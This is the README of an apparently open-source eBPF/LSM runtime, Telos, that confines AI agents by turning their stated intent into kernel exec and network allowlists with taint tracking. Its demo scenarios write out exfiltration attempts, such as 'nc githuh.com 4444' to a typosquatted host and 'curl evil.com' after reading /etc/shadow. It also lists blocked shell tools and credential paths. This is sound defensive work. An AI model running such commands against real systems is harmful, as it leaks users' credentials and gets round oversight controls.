Telos is a Linux kernel-level security runtime that enforces AI agent behavior through Natural Language Intent Declarations, eBPF/LSM syscall gates, and real-time Information Flow Control. Instead of writing static YAML rules, security policies are dynamically generated from what programs say they intend to do.

Imagine your computer is a high-security building. Usually, if an employee (a program) has an ID badge, they can walk anywhere — into the vault, out the front door, or to the filing cabinets.

Telos changes the rules. When a program wants to do something, it must first declare its intent in plain English:

"I need to download a weather report from weather.com"

Telos uses an Intelligence Engine to instantly translate that intent into exact boundaries:

• You can only use curl (not nc, not bash, not wget)
• You can only connect to weather.com (nothing else)
• If you touch passwords, all your network access is revoked instantly

If the program suddenly tries to sneak into the vault (access a sensitive file like /etc/shadow), Telos sounds the alarm and permanently locks all the doors — meaning the program can't steal the data and run away. It protects your system by ensuring programs only do exactly what they promised to do.

Telos is powered by eBPF (Extended Berkeley Packet Filter), Linux Security Modules (LSM), and an AI inference engine (Cortex). It dynamically isolates and bounds the execution and network access of autonomous AI agents.

graph TD
    classDef userSpace fill:#1e1e1e,stroke:#3776AB,stroke-width:2px,color:#fff
    classDef kernelSpace fill:#1e1e1e,stroke:#D22128,stroke-width:2px,color:#fff
    classDef edgeSpace fill:#1e1e1e,stroke:#00ADD8,stroke-width:2px,color:#fff

    subgraph User_Space ["Intelligence Plane"]
        A["Autonomous AI Agent"] -->|Declares Intent| C["Cortex AI Control Plane"]
        C -->|Domain Intel L0-L4| C
        C -->|Exec Intel LOLBin Det| C
    end

    subgraph IPC ["Inter-Process Communication"]
        C <-->|Unix Socket / Heartbeat| G["Go eBPF Daemon"]
    end

    subgraph Kernel_Space ["Enforcement Plane"]
        G -->|Update Maps| M[("eBPF Hash/LRU Maps")]
        M --- H1("lsm/bprm_check_security")
        M --- H2("lsm/socket_connect")
        M --- H3("lsm/file_open")

        H3 -.->|Dynamic Taint IFC| M
        H1 -.->|Execution Gate| B1(("Deny/Allow"))
        H2 -.->|Network Gate| B2(("Deny/Allow"))
    end

    subgraph Network_Edge ["Hyperion Bridge"]
        C -.->|RPC Push| XDP["Hyperion XDP"]
        XDP -->|Wire-Speed Drop| NIC(("Physical NIC"))
    end

    class A,C userSpace
    class G,M,H1,H2,H3 kernelSpace
    class XDP,NIC edgeSpace

Telos implements two independent enforcement gates in the kernel:

1. Execution Gate (lsm/bprm_check_security)

• Intercepts every execve() syscall before a binary runs
• Checks the binary name against a per-intent allowlist stored in exec_policy_map
• Blocks Living-off-the-Land Binaries (LOLBins) like nc, bash, wget unless explicitly authorized
• Inherits policy from parent processes to prevent fork/exec bypass

2. Network Gate (lsm/socket_connect)

• Intercepts every outbound connect() syscall
• Verifies the destination IP against a dynamic allowlist populated by intent declarations
• Blocks IPv6 entirely for managed agents (prevents firewall bypass)
• Automatically expires network windows after intent TTL

The most advanced feature of Telos is its cross-vector taint tracking:

1. Agent declares intent and gets authorized for curl + cat + weather.com
2. Agent reads /etc/shadow (a file mapped as CRITICAL in the inode map)
3. The file_open eBPF hook dynamically elevates the agent's taint level to TAINT_CRITICAL
4. The socket_connect hook detects the elevated taint and triggers a Network Slam
5. All outbound connections return -EPERM — the data never leaves the machine

The DNS proxy on port 5353 runs a 5-layer classification pipeline:

A combined score determines the decision: ALLOW (< 30), ESCALATE (30-59), or DENY (>= 60).

When the Domain Intelligence Engine denies a domain, Telos resolves the underlying IP addresses and pushes them to Hyperion XDP via an HTTP RPC call to :9095/block. Hyperion inserts these IPs into an eBPF blacklist_map, and the XDP hook drops matching packets at the NIC driver level — before the Linux network stack even allocates a socket buffer.

• Linux Kernel >= 5.15 (eBPF LSM support required)
• Go >= 1.21
• Python 3.10+
• clang / llvm (for eBPF compilation)
• bpftool (for BTF/vmlinux generation)

git clone https://github.com/nevinshine/telos-runtime.git
cd telos-runtime

# Install Python dependencies
pip install -r cortex/requirements.txt

# (Optional) Download the LLM model for control-plane escalation
./scripts/download_model.sh

sudo telos start    # Build and launch the full runtime
sudo telos status   # Check system health
sudo telos dash     # Launch the real-time Telemetry Dashboard
sudo telos stop     # Gracefully stop all components
telos help          # Display help

sudo telos start
python3 demo_payload.py

What happens:

1. Agent declares intent: "I need to download a file from the server"
2. curl executes successfully (it was authorized)
3. nc is BLOCKED — the Execution Gate denies it because it was never part of the declared intent
4. Agent declares malicious intent: "I need to share credentials"
5. cat /etc/passwd is BLOCKED — sensitive file access denied
6. nc githuh.com 4444 is BLOCKED — both the binary and the typosquatted domain are denied

sudo telos start
sudo python3 demo_ifc.py

What happens:

1. Agent declares: "I need to check security compliance"
2. Agent reads /etc/shadow — eBPF elevates taint to CRITICAL
3. Agent tries curl evil.com — Network Slam kicks in, connection killed with -EPERM
4. Data never leaves the machine

# Terminal 1: Start Hyperion XDP
cd ~/code/hyperion-xdp && sudo ./bin/hyperion_ctrl -iface lo -telemetry

# Terminal 2: Start Telos
cd ~/code/telos-runtime && sudo telos start

# Terminal 3: Query a typosquatted domain
python3 -c "
from dnslib import DNSRecord
q = DNSRecord.question('githuh.com')
r = q.send('127.0.0.1', 5353, tcp=False, timeout=5)
print(DNSRecord.parse(r))
"

Watch Terminal 1: Hyperion prints [TELOS-RPC] Added 97.107.140.81 to XDP Blacklist

Benchmarked under 10 Million operations across 100 concurrent threads on native Linux:

telos-runtime/
├── telos                      # CLI Orchestrator
├── cortex/                    # AI Intelligence Engine (Python)
│   ├── main.py                #   Cortex gRPC Server
│   ├── verifier.py            #   Dual-Gate Intent Verifier
│   ├── domain_intel.py        #   Domain Intelligence (L0-L4)
│   ├── exec_intel.py          #   Execution Intelligence (LOLBin)
│   ├── dns_proxy.py           #   DNS Interception Proxy
│   ├── guardian.py            #   Agent Registry and Taint Manager
│   ├── llm_verifier.py        #   LLM Escalation (Control Plane)
│   ├── mirage_manager.py      #   Deception Engine
│   └── policy.yaml            #   Security Policy Configuration
├── telos_core/                # eBPF Kernel Security Module (C + Go)
│   ├── src/bpf_lsm.c         #   LSM Hooks (exec, file, connect)
│   ├── loader/main.go         #   Go eBPF Loader + IPC + Prometheus
│   └── maps/                  #   Shared map definitions
├── shared/                    # gRPC Protocol Definitions
│   ├── protocol.proto         #   Protobuf schema
│   └── common_maps.h          #   Shared C struct definitions
├── browser_eye/               # Chrome Extension (Browser Taint)
├── deploy/                    # Docker + Systemd Configs
│   ├── telos-loader.service   #   Go Daemon systemd unit
│   ├── telos-cortex.service   #   Python Cortex systemd unit
│   └── vulnerable_agent/      #   Red team simulation scripts
├── benchmarks/                # Performance and Stress Tests
├── tests/                     # Verification Scripts
├── demo_payload.py            # Phase 5 Demo (Exec Gate)
├── demo_ifc.py                # Phase 7 Demo (IFC Network Slam)
└── Makefile                   # Build system

Edit cortex/policy.yaml to customize security boundaries:

execution:
  default_mode: enforce          # enforce | audit
  safe_binaries:                 # Always allowed (system essentials)
    - cat
    - ls
    - curl

network:
  always_allowed:                # Pre-authorized destinations
    - api.weather.com
    - github.com

filesystem:
  sensitive_paths:               # Files that trigger taint elevation
    - /etc/shadow
    - /etc/passwd
    - ~/.ssh/id_*

make bpf          # Build eBPF objects only
make loader       # Build Go loader only
make all          # Full build (BPF + Loader)

cd tests && bash verify.sh           # Run verification suite
cd benchmarks && python3 lsm_bench.py  # Run performance benchmarks

MIT License — see LICENSE.

Telos — Because intent should be the perimeter.